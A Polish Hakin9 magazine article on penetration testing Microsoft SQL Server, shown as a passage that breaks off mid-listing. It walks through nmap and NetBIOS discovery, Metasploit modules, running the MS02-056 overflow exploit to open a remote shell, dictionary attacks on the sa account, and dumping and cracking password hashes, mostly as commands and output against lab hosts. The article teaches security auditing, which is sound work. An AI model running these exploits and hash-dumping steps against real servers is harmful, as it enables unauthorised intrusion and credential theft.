Test penetracyjny MS SQL Server
-
Upload
grzegorz-galezowski -
Category
Documents
-
view
232 -
download
1
description
Transcript of Test penetracyjny MS SQL Server
20 HAKIN9
ATAK
7-8/2009
I stnieje bardzo wielkie ryzyko, że dane z baz danych mogą wpaść w niepowołane ręce. Aby się przed tym uchronić, przedsiębiorstwa są
zmuszane do nieustannej analizy zastosowanych ustawień polityki bezpieczeństwa dla pakietów oprogramowania i własnych aplikacji.
Microsof t SQL Server to popularne i niezawodne środowisko dla wielu aplikacji, które korzystają z baz danych – w połączeniu z dużą elastycznością, daje sporo możliwości. Niestety, jeśli taki potencjał nie zostanie odpowiednio zabezpieczony, wykorzystywany może być w niewłaściwy sposób.
Ten artykuł ma na celu określenie pewnych rodzajów ryzyka, które mogą wynikać z niewłaściwego zarządzania Microsoft SQL Server.
SQL Server domyślnie pozwala wszystkim użytkownikom na dostęp do głównej bazy danych, która zawiera wszystkie ustawienia dla programu, w tym także wszystkie informacje, które SQL Server wykorzystuje do otwarcia bazy danych. Zawiera także wszystkie identy fikatory logowania SQL, danych z podłączonych serwerów itp. Oczywiście podstawowi użytkownicy nie mają dostępu do wszystkich zasobów informacyjnych. Niemniej jednak nazwy kont i baz danych (w tym informacji przechowywanych na nich) mogą być dostępne nieuprzywilejowanym użytkownikom.
W niniejszym ar tykule pokazane zostaną najczęstsze błędy baz danych i ich usług,
GRZEGORZ GAŁĘZOWSKI
Z ARTYKUŁU DOWIESZ SIĘjak zdalnie analizować systemy z rodziny SQL Server;
poznasz metody łamania haseł w SQL Server 2000 i 2005;
jak wykorzystywać narzędzia audytowe.
CO POWINIENEŚ WIEDZIEĆznać podstawy obsługi MS SQL Server 2000 i 2005;
sprawnie posługiwać się programami z poziomu linii poleceń;
posiadać podstawy obsługi systemu MS Windows i Linux.
omówione metody identy fikacji i wykorzystania ich przy użyciu narzędzi dostępnych z poziomu systemu Linux i Windows.
Case studies (czyli korzystanie z otwar tych i zamkniętych narzędzi audytowych) będzie oferować czytelnikowi wszechstronne podejście do korzystania z narzędzi i technik przedstawionych w tym ar tykule. Wiedza zdobyta na praktycznych przykładach może być bezpośrednio stosowana w odniesieniu do świata rzeczywistego.
Wszyscy, którzy będą chcieli przeprowadzać testy na bazach danych, muszą najpierw poznać podstawowy zestaw narzędzi i technologii potrzebnych do skutecznego audytu. Po pierwsze, podstawowe pojęcia: definicję bazy danych oraz poszczególnych części składowych typowego systemu zarządzania bazami danych. Następnie kilka cech powszechnie używanego systemu zarządzania bazami danych jakim jest Microsof t SQL Server, w tym jego domyślne konta użytkowników, a także jego strukturę. W końcowej fazie szczegóły techniczne instalacji bazy, w tym domyślne por ty, protokoły oraz inne informacje ważne dla testów penetracyjnych.
Podstawowe pojęcia Czym jest baza danych i jak się różni od systemu zarządzania bazą danych? Baza danych jest
Stopień trudności
Test penetracyjny MS SQL ServerCi, którzy szukają sposobu na uzyskanie nielegalnego dostępu do bazy danych wykorzystają dowolny słaby punkt systemu. Ze wszystkich znanych technologii na świecie, żadna nie podlega takiej ciągłej obserwacji i atakom, jak bazy danych.
21 HAKIN9 7-8/2009
uporządkowanym zbiorem informacji, który związany jest w zorganizowany sposób. System zarządzania bazą danych jest programem komputerowym używanym do uzyskiwania
dostępu, zarządzania i aktualizacji informacji w bazie danych. Od tego miejsca, aż do końca ar tykułu, będą stosowane terminy systemu zarządzania bazy danych i baz danych zamiennie, by odnieść się do terminu bazy danych i systemu zarządzania bazą danych.
Instalacja bazy danych Zrozumienie tego, co się dzieje, po zainstalowaniu bazy danych jest ważne dla zrozumienia sposobu podejścia do badań, nad strukturą systemu bazy danych. Instalowanie bazy danych jest podobne do instalowania innych programów. Potrzeby bazy danych są unikalne i często oprogramowanie bazy danych jest tylko aplikacją zainstalowaną na serwerze lub stacji roboczej. Stworzenie rzeczywistej bazy danych wymaga szczególnej uwagi i wiedzy.
Różne systemy w tym i SQL Server mają funkcje do tworzenia bazy danych za pomocą kreatora, za pomocą skryptów lub też ręcznie. Kiedy baza danych jest tworzona, wraz z nią tworzone są konta domyślnych użytkowników, ich role i uprawnienia. Administrator bazy danych powinien zabezpieczyć wiele ze wspomnianych, domyślnych elementów już w momencie tworzenia.
Zabezpieczenie baz danych jest trudniejsze, niż większości innych systemów. Jeśli baza danych jest produkcyjna, naprawa lub wykonanie zabezpieczeń może spowodować, że przestanie ona działać prawidłowo. Ważne jest , by wymogi bezpieczeństwa były wbudowane w system w tym samym
czasie, co wymagania funkcjonalne bazy danych.
Jeśli programista lub administrator buduje bazę danych korzystając z domyślnych ustawień, bez żadnych wskazówek z zakresu wymogów bezpieczeństwa, to takie bazy danych mogą posiadać wiele funkcji, które będą ją upośledzać pod względem bezpieczeństwa.
Użytkownicy Microsoft SQL Server W SQL Server tworzone jest konto o nazwie sa, czyli administratora systemu programu SQL Server, właściciela bazy danych (dbo ) i wszystkich baz danych na serwerze SQL. Konto logowania sa jest podłączone do roli sysadmin . Jest to również dbo dla wszystkich baz danych. To konto domyślnie przyznaje wszystkie
Tabela 1. Stałe role bazy danych w SQL Server
Wbudowana rola bazy danych Uprawnienia na poziomie bazy danych
db_accessadmin Przyznane: ALTER ANY USER, CREATE SCHEMA
db_accessadmin Przyznana opcja GRANT: CONNECT
db_backupoperator Przyznane: BACKUP DATABASE, BACKUP LOG, CHECKPOINT
db_datareader Przyznane: SELECT
db_datawriter Przyznane: DELETE, INSERT, UPDATE
db_ddladmin Przyznane: ALTER ANY ASSEMBLY, ALTER ANY ASYMMETRIC KEY, ALTER ANY CERTIFICATE, ALTER ANY CONTRACT, ALTER ANY DATABASE DDL TRIGGER, ALTER ANY DATABASE EVENT, NOTIFICATION, ALTER ANY DATASPACE, ALTER ANY FULLTEXT CATALOG, ALTER ANY MESSAGE TYPE, ALTER ANY REMOTE SERVICE BINDING, ALTER ANY ROUTE, ALTER ANY SCHEMA, ALTER ANY SERVICE, ALTER ANY SYMMETRIC KEY, CHECKPOINT, CREATE AGGREGATE, CREATE DEFAULT, CREATE FUNCTION, CREATE PROCEDURE, CREATE QUEUE, CREATE RULE, CREATE SYNONYM, CREATE TABLE, CREATE TYPE, CREATE VIEW, CREATE XML SCHEMA COLLECTION, REFERENCES
db_denydatareader Zabronione: SELECT
db_denydatawriter Zabronione: DELETE, INSERT, UPDATE
db_owner Przyznana opcja: GRANT: CONTROL
db_securityadmin Przyznane: ALTER ANY APPLICATION ROLE, ALTER ANY ROLE, CREATE SCHEMA, VIEW DEFINITION
Listing 1. Skanowanie nmap z opcją -sLgsg ~ # nmap -sL 10.0.0.210-215
Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 13:12 GMT
Host 10.0.0.210 not scanned
Host 10.0.0.211 not scanned
Host mssql2000.pl (10.0.0.212) not scanned
Host mssql2005.pl (10.0.0.213) not scanned
Host 10.0.0.214 not scanned
Host 10.0.0.215 not scanned
Nmap finished: 6 IP addresses (0 hosts up) scanned in 0.012 secondes
gsg ~ #
Rysunek 1. Dodawanie hashy do programu Cain&Abel
TEST PENETRACYJNY MS SQL SERVER
ATAK
22 HAKIN9 7-8/2009 23 HAKIN9 7-8/2009
TEST PENETRACYJNY MS SQL SERVER
przywileje i uprawnienia na bazy danych i można dzięki niemu także wykonywać polecenia systemowe na serwerze SQL.
Kiedy tworzone jest konto nowego użytkownika SQL Server, administratorzy (DBA) muszą zadbać o przydział odpowiednich przywilejów i ról dla takiego użytkownika.
Można także skonfigurować SQL Server do używania uwierzytelniania użytkowników systemu Windows tylko
lub w połączeniu z SQL Server, który to tr yb nazywa się tr ybem uwierzytelniania mieszanego. Gdy nowe konto jest tworzone, użytkownik może uwierzytelniać się do bazy i pracować na niej w granicach swoich uprawnień i funkcji. Tryb uwierzytelniania systemu Windows ułatwia pracę użytkownikowi, ponieważ ma on do zapamiętania tylko jedno hasło, ale to może również stworzyć potencjalne luki. Jeśli uwierzytelnianie dla
użytkownika Windows będzie naruszone i baza danych używa właśnie takiego typu uwierzytelniania, to dostęp do bazy danych będzie bezproblemowy. Z punktu widzenia bezpieczeństwa jest to bardzo duże zagrożenie.
SQL Server – role i uprawnienia Microsof t SQL Server ma uproszczone zarządzanie uprawnieniami poprzez tworzenie ról.
Aby pomóc administratorom w tworzeniu, modyfikowaniu, usuwaniu i sprawdzaniu kont SQL Server wyposażony jest w zestaw wbudowanych ról bazy danych. Można je wykorzystać także do grupowania użytkowników. Do grupowania użytkowników, mających te same potrzeby dostępu, można również utworzyć własne role bazy danych i przypisać uprawnienia grupom zamiast poszczególnym użytkownikom.
SQL Server procedury przechowywane i rozszerzoneW procedurach przechowywanych znajdują się fragmenty kodu napisane w języku Transact-SQL (T-SQL), które są udostępniane do dalszego wykorzystania. Przykładem przydatnej procedury jest sp _ addlogin , która to stosowana jest w celu utworzenia nowego użytkownika. Rozszerzone procedury są podobne do procedur przechowywanych, chyba że zawierają linki bibliotek dynamicznych (DLL). Rozszerzone procedury uruchamiania SQL Server służą do zwiększenia funkcjonalności bazy danych na serwerze. Jedną z rozszerzonych procedur przydatną przy testach penetracyjnych jest xp _ cmdshell , która pozwala użytkownikowi na wykonanie polecenia w powłoce systemu operacyjnego Windows. Jak widać, procedury składowane w SQL Server mogą znacznie poprawić możliwości bazy danych. Jednakże mogą one także tworzyć poważne luki w zakresie bezpieczeństwa.
KomunikacjaGdy baza danych jest już zainstalowana, użytkownik musi mieć możliwość podłączenia się do niej by móc jej używać.
Listing 2. Skanowanie z wykorzystaniem Nmapgsg ~ #nmap -sL 10.0.0.210-215
Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 12:30 GMT
Host 10.0.0.210 not scanned
Host 10.0.0.211 not scanned
Host mssql2000.pl (10.0.0.212) not scanned
Host mssql2005.pl (10.0.0.213) not scanned
Host 10.0.0.214 not scanned
Host 10.0.0.215 not scanned
Nmap finished: 6 IP addresses (0 hosts up) scanned in 0.021 seconds
Listing 3. Skanowanie Nmap gsg ~ #nmap -sSUV -P0 -T4 -pT:1433,U:1434 10.0.0.213
Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 12:35 GMT
Interesting ports on mssql2005.pl (10.0.0.213):
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s?
1434/udp open ms-sql-m Microsoft SQL Server 0.00.1399.06 (ServerName: MSSQL2005;
TCPPort: 1433) MAC Address: 00:0C:31:DF:5A:01
Service Info: OS: Windows
Service detection performed. Please report any incorrect results at http://
insecure.org/nmap/submit/
Nmap finished: 1 IP address (1 host up) scanned in 26.834 seconds
Listing 4. NetViewX używanie komendC:\cmd>NETVIEWX.EXE -h
Usage:netviewx [-D domain] [-T type...] [-0 format : -x] [-t | -c x] [-C x]
Lists current nodes in a domain that matches servers running specific services.
Version: v0.5 19990203.
-D domain The domain to list. Default is the current domain.
-T type... The service types to match, Can be one or more of: workstation, server,
sqlserver,domain_ctrl, domain_bakctrl, time_source, afp, novell,
domain_member, printing_server, dialin_server, server_mfpn,
server_nt, server_osf, server_unix, nt, wfw, potential_browser,
backup_browser, master_browser, domain_master, server_vms,
windows, dfs, cluster_nt, dce, alternate_xport, local_list_only,
domain_enum, all. Default is all.
-0 format Selects the fields to list for the servers. The format should be a string of letters, where: n=name, m=major version, i=minor version,
p=platform id, T=service types, C=comment in quotes, c=comment
witch major and minor version. Default is nmipTC.
-x A shorthand for -0nsvtc -c " " -C +-t Separate fields with tabs. Default is comma (,).
-c x separate fields with the character x.
-C x Separate the server types with the character x. Default is to separate the
types with x.
C:\cmd>NETVIEWX.EXE -D gsgcorp -T sqlserver
MSSQL2000,5,0,500,nt%workstation%server_nt%server%sqlserver%backup_browser%master_
browser%2000000,""
MSSQL2005,5,0,500,nt%workstation%server_nt%server%sqlserver%backup_browser %2000000,""
ATAK
22 HAKIN9 7-8/2009 23 HAKIN9 7-8/2009
TEST PENETRACYJNY MS SQL SERVER
Do komunikacji wykorzystywany jest protokół TCP (Transmission Control Protocol ) i UDP (User Datagram Protocol ). Domyślnie SQL Server wykorzystuje port TCP 1433 do połączenia z bazą danych. Ten port może być oczywiście zmieniony, ale zwykle nie jest. Większość może wiedzieć, jaki jest domyślnie wykorzystywany port TCP dla programu SQL Server, ale wielu może nie zdawać sobie sprawy, że port UDP jest także silnie związany z bazą danych. Port UDP 1434 umożliwia klientom przeglądanie bazy. Port ten może stać się celem ataku dla wielu robaków i może być wykorzystany do ataku typu przepełnienia buforu. Firma Microsoft wydała poprawkę do tego problemu, ale nadal można znaleźć tę lukę w wielu środowiskach.
Korzystanie z otwartych i zamkniętych narzędzi audytowychPierwszym krokiem w przeprowadzeniu wszelkich testów penetracyjnych jest odkrycie, jakie por ty są otwar te na danym hoście, a także powiązanych z nimi usług. W następnych kilku krokach wskazane będą metody identy fikacji Microsof t SQL Server.
DNS (Domain Name System) jest procesem rozwiązywania nazw hostów z adresów IP (Internet Protocol ). Opisowe nazwy mogą ujawnić wiele informacji, takie jak rodzaj systemu operacyjnego i usług uruchomionych na danym systemie. Listing 1 pokazuje popularny skaner por tów Nmap za pomocą którego można wykonać skanowanie (z opcją -SL), pokazany jest tu zakres adresów IP do nazw hosta.
Wynik skanowania z wykorzystaniem skanera Nmap zwrócił listę adresów IP, zwróci także rozwiązaną nazwę mssql2000 i mssql2005. Można określić z uzyskanych wyników, że istnieje wysokie prawdopodobieństwo, że pod adresem 10.0.0.212 jest uruchomiony program Microsof t SQL Server 2000, a pod adresem 10.0.0.213 jest uruchomiony program Microsof t SQL Server 2005.
Skanowanie portów TCP i UDPSkanowanie por tów to działanie polegające na wysyłaniu pakietów TCP
lub UDP do systemu celem sprawdzenia otwar tych por tów i dostępnych serwisów. Skanowanie sieci, można przeprowadzić właśnie takim programem jak Nmap , który pomaga określić, jakie hosty są aktywne i jakie por ty TCP i UDP są na nich otwar te. Na Listingu 2 i Listingu 3 wykonane zostało skanowanie z wykorzystaniem Nmap w poszukiwaniu serwera Microsof t SQL i domyślnych por tów TCP i UDP (patrz Ramka Port Number Service Service Description ), korzystając z opcji opisanych w Ramce Opis opcji Nmap .
Nmap przedstawił informacje na temat wersji serwera i wykorzystywanych por tów, w tym także informację o MAC adresie. Korzystając z Nmap można także określić dokładnie jaka jest to wersja serwera, a także czy i jakie
zainstalowane są dodatki typu Service Pack. Pomocna przy określaniu wersji serwera będzie Ramka Publikacje wersji Sqlservr.exe , w której są wymienione różne wersje sqlserv.exe
NetBIOS i protokół Server Message Block (SMB) W systemach Microsof t Windows Server jak i w stacjach roboczych informacje o zarejestrowanych usługach zintegrowane są z główną przeglądarką. NetViewX (www.ibt .ku.dk/jesper/NetViewX/ ) oraz MBEnum (www.cqure.net/wp/?page_id=20 ). Są to dwa programy, które mogą być wykorzystane do odpytania głównej przeglądarki i uzyskania tą drogą informacji o zarejestrowanych usługach. Analiza systemu Microsof t SQL Server z wykorzystaniem protokołu
Listing 5. Używanie programu MBEnumC:\cmd\mbenum
MBEnum v.1.5.0 by [email protected]
----------------------------------------------
mbenum [-s \\server] [-d don ] [-f filter] -p <mode>
Presentation modes:
1 - by server
2 - by service
3 - by service vertically
c:\cmd>mbenum.exe -d gsgcorp -f "SQL Server" -p 1
MBEnum v.1.5.0 by [email protected]
Name: MSSQL2005
Services: Server, Workstation, SQL Server, Term, server, Member server
Comment:
OS Version: Windows 2003 Server
Name: MSSQL2000
Services: Server, Workstation, SQL Server, Master browser, Term, server, Member server
Comment:
OS Version: Windows 2003 Server
Listing 6. Rozwiązywanie nazw NetBIOS na adresy IP z wykorzystaniem nmblookupgsg ~ # nbmlookup MSSQL2000
querying MSSQL2000 on 10.0.0.255
10.0.0.212 MSSQL2000<00>
gsg ~ # nmblookup MSSQL2005
querying MSSQL2005 on 10.0.0.255
10.0.0.213 MSSQL2005<00>
Listing 7. Aktualizacja Metasploit z wykorzystaniem Subversion (SVN)gsg ~ # cd /pentest/exploits/framework3/
gsg framework3 #svn update
Listing 7a. Aktualizacja Metasploit z wykorzystaniem Subversion (SVN)gsg framework3 # ./msfcli |grep -i mssql
exploit/windows/msql/ms02_039_slammer Microsoft SQL Server Resolution Overflow
exploit/windows/mssql/ms02_056_hello Microsoft SQL Server Hello Overflow
auxiliary/scanner/mssql/mssql_login MSSQL Login Utility
auxiliary/scanner/mssql/mssql_ping MSSQL Ping Utility
ATAK
ATAK
24 HAKIN9 7-8/2009 25 HAKIN9 7-8/2009
TEST PENETRACYJNY MS SQL SERVER
pakiet, który rozwijany jako platforma do tworzenia narzędzi wykrywających luki systemowe, wykorzystuje także możliwości skanera Nessus .
Metasploit Framework 3 Program ten umożliwia pracę zarówno z linii poleceń oraz w środowisku graficznym. Warto pamiętać o aktualizacji systemu MF3 (Listing 7).
Użyjemy teraz konsoli msfcli i narzędzia wyszukiwawczego grep by odnaleźć dostępne exploity dla Microsof t SQL Server (Listing 7).
Gdy już wszystko jest ustalone, wiadomo które exploity będą wykorzystane przeciwko Microsof t SQL, war to uzyskać szczegółowe informacje na ich temat, korzystając z informacji zbiorczych polecenia S. Można również wykorzystać flagę E z odpowiednimi parametrami RHOSTS dla badanego elementu. Listing 8 i 9 demonstruje sposób praktycznego wykorzystania omówionych elementów do wyświetlenia szczegółowych informacji na temat wybranych elementów.
Można zauważyć, że wykorzystanie wybranego exploita jest przeznaczone dla Microsoft SQL Server 2000 z dodatkiem Service Pack 2 i starszym. Badanie SQL Server dostępnego pod adresem IP 10.0.0.212 ukazuje podatność na wykorzystanie tego exploita. Narzędzie ping wykryło, że Microsoft SQL uruchomiony został w wersji 8.00.194. Na Listingu 10 widać, że jest to wersja która poprzedza Service Pack 1.
Atak na autentykację Microsoft SQL ServerW celu uwierzytelnienia się do programu Microsof t SQL Server potrzebna jest
Rysunek 3. Atak słownikowy na instancję Microsoft SQL Server 2005
SMB jest bardzo szybka i przy tym w sumie niewykrywalna (wygląda to tak jak przy normalnej pracy z SMB) możemy odkryć, usługi ustawione na słuchanie na domyślnym porcie TCP (1433/tcp) chronione przez firewall lub w przypadku niektórych wersji, gdy usługa nie ma zezwolenia na zdalne połączenie. Listingi 4 i 5 ilustrują właściwe użycie poleceń i wykonanie odpowiednio programu NetViewX i MBEnum . W tych przykładach, odpytywana jest domena gsgcorp z Microsof t SQL Servers 2000 i 2005.
W obydwu przykładach wyniki zapytania zawierają nazwy NetBIOS (MSSQL2000 i
MSSQL2005) i nie mają powiązanych z nimi adresów IP. Jak widzimy na Listingu 6 można użyć narzędzia nmblookup, które rozwiąże nazwy NetBIOS na adresy IP.
Po wykryciu bazy danych i serwera docelowego, następnym krokiem jest identyfikacja słabych punktów w usługach. Przydatnym narzędziem do tego celu będzie Metasploit Framework . Jest to
Port Number Service Service Description1433/tcp ms-sql-s Microsoft-SQL-Server
1434/udp ms-sql-m Microsoft-SQL-Monitor
Opis opcji Nmap• sS skanowanie TCP SYN • sU skanowanie UDP• sV sprawdzanie systemu w celu odkrycia otwartych portów, określenia usług i pozyskanie
informacji o ich wersjach,• P0 Skanuj wszystkie hosty dostępne online• T4 ustaw czas szablonu (im wyższy tym jest szybszy)• pT:1433,U:1434 zakres portów. Podczas skanowania obu portów TCP i UDP, można określić
konkretny protokół poprzedniego numeru portu przez T: lub U:.
Publikacje wersji Sqlservr.exeReleased to Manufacturing (RTM) 2000.80.194.0
SQL Server 2000 Service Pack 1 2000.80.384.0SQL Server 2000 Service Pack 2 2000.80.534.0SQL Server 2000 Service Pack 3 2000.80.760.0SQL Server 2000 Service Pack 3a 2000.80.760.0SQL Server 2000 Service Pack 4 2000.8.00.2039SQL Server 2005 Service Pack 1 2005.90.2047SQL Server 2005 Service Pack 2 2005.90.3042
Rysunek 2. Hashe wprowadzone do programu Cain&Abel
ATAK
24 HAKIN9 7-8/2009 25 HAKIN9 7-8/2009
TEST PENETRACYJNY MS SQL SERVER
znajomość nazwy użytkownika i hasła. Jedną z metod uzyskania dostępu do oprogramowania Microsof t SQL Server, jest wykonanie ataku słownikowego z wykorzystaniem wspólnej nazwy dla użytkownika i hasła.
Tryb uwierzytelniania Windows NT Authentication ModeDomyślnie członkowie lokalnych grup administratorów w systemie Windows mają prawa administratora systemu Microsof t SQL Server. Nazwa użytkownika i hasło nie są przechowywane w Microsof t SQL Server.
Tryb mieszany (najczęściej spotykany)W trybie mieszanym wspierane jest zarówno uwierzytelnianie systemu Windows i uwierzytelnianie ze strony SQL Serwer. Tryb ten nie jest domyślny. Jego powszechne stosowanie wynika z problemów ze zgodnością z niektórymi aplikacjami wymagającymi programu Microsof t SQL Server lub też wymagane jest uwierzytelnianie przez użytkownika sa . Nazwy użytkowników i hasła są przechowywane w Microsof t SQL Server.
Hasła w Microsoft SQL Server – wytyczneDla zagwarantowania większego bezpieczeństwa należy wprowadzić politykę wymuszania haseł dla standardowego logowania. W SQL Server można wprowadzić politykę Microsof t Windows dla standardowego logowania, tak żeby spójne zasady zostały zastosowane do wszystkich kont w domenie.
Wymuszanie haseł musi być ręcznie skonfigurowane, zgodnie z polityką systemu operacyjnego. W SQL Server 2005 dostępne są następujące obszary wymuszania polityki haseł :
• siła hasła;• wygasanie haseł;• blokady kont.
Domyślnie sprawdzana jest polityka haseł. Mechanizm haseł kontroluje także hasła aplikacji klienckich, dlatego też połączenia aplikacji mogą być sprawdzone pod względem siły haseł.
Listing 8. Uzyskanie szczegółowych informacji z wykorzystaniem parametru Sgsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login S
Name: MSSQL Login Utility
Version: 4749
Provided by:
Basic options:
Name Current Setting Required Description
------ ------------------ ---------- --------------
RHOSTS yes The target address range or CIDR
identifier
RPORT 1433 yes The target port
THREADS 1 yes The number of concurrent threads
Description:
This module simply queries the MSSQL instance for a null SA account.
gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login RHOSTS=10.0.0.212 E
[*] Target 10.0.0.212 does have a null sa account...
gsg framework3 ./msfcli auxiliary/scanner/mssql/mssql_login RHOSTS=10.0.0.212 E
[*] Target 10.0.0.212 does have a null sa account...
gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login S
Name: MSSQL Login Utility
Version: 4749
Provided by:
Basic options:
Name Current Setting Required Description
------ ------------------ ---------- --------------
RHOSTS yes The target address range or CIDR
identifier
THREADS 1 yes The number of concurrent threads
Description:
This module simply queries the MSSQL instance for information.
gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_ping RHOSTS=10.0.0.212 E
[*] SQL Server information for 10.0.0.212:[*] tcp =1433
[*] np = \\MSSQL2000\pipe\sql\query
[*] Version = 8.00.194
[*] IsClustered = No
[*] InstanceName = MSSQLSERVER
gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_ping RHOSTS=10.0.0.213 E
[*] SQL Server information for 10.0.0.213:[*] tcp = 1433
[*] Version =9.00.1399.06
[*] ServerName =MSSQL2005
[*] IsClustered =No
[*] InstanceName =MSSQLSERVER
gsg framework3 #
ATAK
26 HAKIN9 7-8/2009 27 HAKIN9 7-8/2009
TEST PENETRACYJNY MS SQL SERVER
Złożoność hasła jest definiowana kilkoma elementami:
• hasło musi zawierać co najmniej sześć znaków;
• hasło musi zawierać przynajmniej trzy z czterech typów znaków: wielkie litery, małe litery, cyfry i znaki niealfanumeryczne;
• hasło nie może mieć wartości: Admin, Administrator, Password, sa, sysadmin , nazwy komputera zawierającego instalację SQL Server i całej lub części nazwy aktualnie zalogowanego konta Windows.
Wygasanie haseł jest określone przez wartość Maksymalny okres ważności hasła ustawienia polityki grupowej , podczas gdy blokada zależy od wartości przypisanej do opcji : Czas trwania blokady konta, Próg blokady konta i Wyzeruj liczniki blokady konta po.
Audyt SQL Tools (SQLAT) Audyt SQL Tools (SQLAT) jest zestawem narzędzi stworzonych przez Patrika Karlssona. SQLAT zawiera różne narzędzia do wykonywania ataków słownikowych, uploadu plików na serwer SQL, tworzenia zrzutu pliku SAM (z
wykorzystaniem pwdump2 ). Dostępne jest także narzędzie do minimalnej analizy programu SQL Server z generowaniem raportów w formie HTML. Narzędzie to czasowo przywraca funkcję xp _ cmdshell, gdy jest ona wyłączona. SQLAT jest opar ty na bibliotece freetds i od wersji 1.0.6 wspiera system logowania NTLM list narzędzi dostępnych w zestawie:
• sqlanlz tworzy rapor ty analityczne w języku HTML, zawierające analizę baz danych, użytkowników i rozszerzonych procedur z Microsof t SQL Server.
• sqldict wykonuje atak słownikowy na Microsof t SQL Server.
• sqldir tree wyświetla ASCII katalogów z bazy katalogu.
• sqldumplogins robi zrzuty kont użytkowników z SQL Server.
• sqlquery interaktywne narzędzie linii poleceń umożliwiające dostęp do poleceń SQL.
• sqlregenumkey wylicza określony klucz rejestru.
• sqlreggetvalue wymienia wartości dla konkretnego klucza rejestru.
• sqlsamdump używa programu pwdump2 do zrzutu pliku SAM.
• sqlupload ładuje pliki do Microsof t SQL Server.
W Listingu 12 narzędzie sqldict jest używane do przeprowadzenia ataku słownikowego na
mechanizmy uwierzytelniania SQL Server 2000 i 2005. W przypadku tego ataku korzystać można z nazw użytkowników i haseł utworzonych specjalnie na potrzeby testu (Ramka Nazwy użytkowników i haseł utworzonych specjalnie na potrzeby testu).
Po uprzywilejowanym dostępie do programu Microsof t SQL Server za pomocą exploita lub po udanym ataku słownikowym, można dodać pomyślnie złamane konto do własnego słownika. Te nowo uzyskane konto umożliwia dostęp do dodatkowych kont.
Microsoft SQL Server 2000 Microsof t SQL Server 2000 przechowuje swoje konta w bazie danych master. Hasła są generowane za pomocą funkcji pwdencrypt () w postaci hashów
Listing 9. Uzyskanie szczegółowych informacji na temat exploita ms02 _ 056 _ hello gsg framework3 # ./msfcli exploit/windows/mssql/ms02_056_hello S
Name: Microsoft SQL Server Hello Overflow
Version: 4498
Platform: Windows
Privileged: Yes
License: Metasploit Framework License
Provided by:
Available targets:
Id Name
-- -------
0 MSSQL 2000 / MSDE <= SP2
Basic options:
Name Current Setting Required Description
------- ------------------- ----------- -------------
RHOST yes The target address
RPORT 1433 yes The target port
Payload information:
Space: 512
Avoid: 1 characters
Description:
By sending malformed data to TCP port 1433, an unauthenticated remote attacker vould
overflow a buffer and possibly execute code on the server with
SYSTEM level privileges. This module should work against any
vulnerable SQL Server 2000 or MSDE install (< SP3).
References:
http://www.securityfocus.com/bid/5411
http://cvd.mitre.org/cgi-bin/cnename.cgi?name=2002-1123
http://www.microsoft.com/technet/security/bulletin/MS02-056.mspx
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2002-1123
http://milw0rm.com/metsploit/43
Listing 10. Wykonanie exploit’a Microsoft SQL Server Hello Overflowgsg framework3 # ./msfcli exploit/windows/mssql/ms02_56_hello PAYLOAD=generic/shell_
bin_tcp TARGET=0 RHOST=10.0.0.212 E
[*] Started bind handler
[*] Command shell session 1 opened (10.0.0.211:2614 -> 10.0.0.212:4444)
Microsoft Windows 2000 [Version 5.00.2195]
(c) Copyright 1985 - 1999 Microsoft Corp.
C:\WINNT\system32>exit
gsg framework3 #
ATAK
26 HAKIN9 7-8/2009 27 HAKIN9 7-8/2009
TEST PENETRACYJNY MS SQL SERVER
z użyciem algorytmu SHA-1 w tabeli sysxlogins.
W Microsof t SQL Server 2000 można pobrać nazwę użytkownika i hasło (hash) przy użyciu następującego zapytania SQL:
select name, password from
master.sysxlogins
Na Listingu 12 narzędzie FreeTDS tsql jest użyte do wysyłania zapytania do SQL Server 2000. Nazwy użytkownika i hasła przechowywane są w tabelach sysxlogins w głównej bazie danych.
Poświadczenia kont muszą być odpowiednio sformatowane (username, <password hash>) tak, aby mogły być stosowane jako wkładka dla narzędzia SQLPAT.
gsg ~ # cat mssql2000-hashes.txt
gsg 01bf4593b3bb30b0f345345b3n
43494nf3n402455b3n43494nf33942356b
e234eb
grzegorz 934n343b29294593b3bb30b0f
nn9994n3023942356be4n343b2994593b3
bb230
Na Listingu 13 SQLPAT został pobrany za pomocą wget do lokalnej instancji, następnie rozpakowany, skompilowany
by ostatecznie zostać uruchomiony, co skutkuje wyświetleniem zrzutu hasła przez aplikację.
Atak słownikowy jest kompletny, widać, że hashe hasła użytkownika gsg nie zostały złamane. Następnym krokiem będzie wykorzystanie sqlbf w tr ybie Brute Force by odczytać zawartość pozostałych hashy. Listing 15 pokazuje hash hasła użytkownika gsg ekstrahowane do nowego
Listing 11. Atak słownikowy na konta ze słabymi hasłamigsg ~ # sqldict
SQLDICT v1.0.0 by [email protected]
----------------------------------------------
usage: sqldict [options]
-i* <ip|ipfile> to probe
-t port (default 1433) -u* <userfile>
-p* <dicfile>
-r <reportfile>
-v verbose
gsg ~ # sqldict -i 10.0.0.212 -t 1433 -u users.txt -p passwords.txt
IP: 10.0.0.212 User: sa Pass:
gsg ~ # sqldict -i 10.0.0.213 -t 1433 -u users.txt -p passwords.txt
IP: 10.0.0.213 User: sa Pass: grzegorz
Listing 12. Wykorzystanie FreeTDS tsql do pobierania hashy użytkowników magazynowanych w bazie danychgsg ~ # echo -e "select name, password from master..sysxlogins \n go" | \
> tsql -H 10.0.0.212 -p 1433 -U sa -P ""
1> 2> name password
BUILTIN\Administrators NULL
gsg 01bf4593b3bb30b0f345345b3n43494nf3n402455b3n43494nf33942356be234eb
grzegorz 934n343b29294593b3bb30b0f nn9994n3023942356be4n343b2994593b3bb230
sa NULL
NULL NULL
Listing 13. Pobieranie, kompilowanie i wykonywanie SQLPAT w trybie słownikowymgsg ~ # wget -q http://www.cqure.net/tools/sqlgf-all-src-1.0.1.zip; unzip -qq sqlbf-
all-src-1.0.1.zip
gsg ~ # cd sqlbf; make -is 2> /dev/null; ls ./bin; ./bin/sqlbf; cd ..
sqlbf*
MS SQL Server Password Auditing Tool Version 1.0.1
usage: ./bin/sqlbf -u [options]
Options:
-c <csfile> -the character set
-d <dictionary> - the dictionary file
-u <userfile> -the user & hash file
-r <reportfile> -the report file
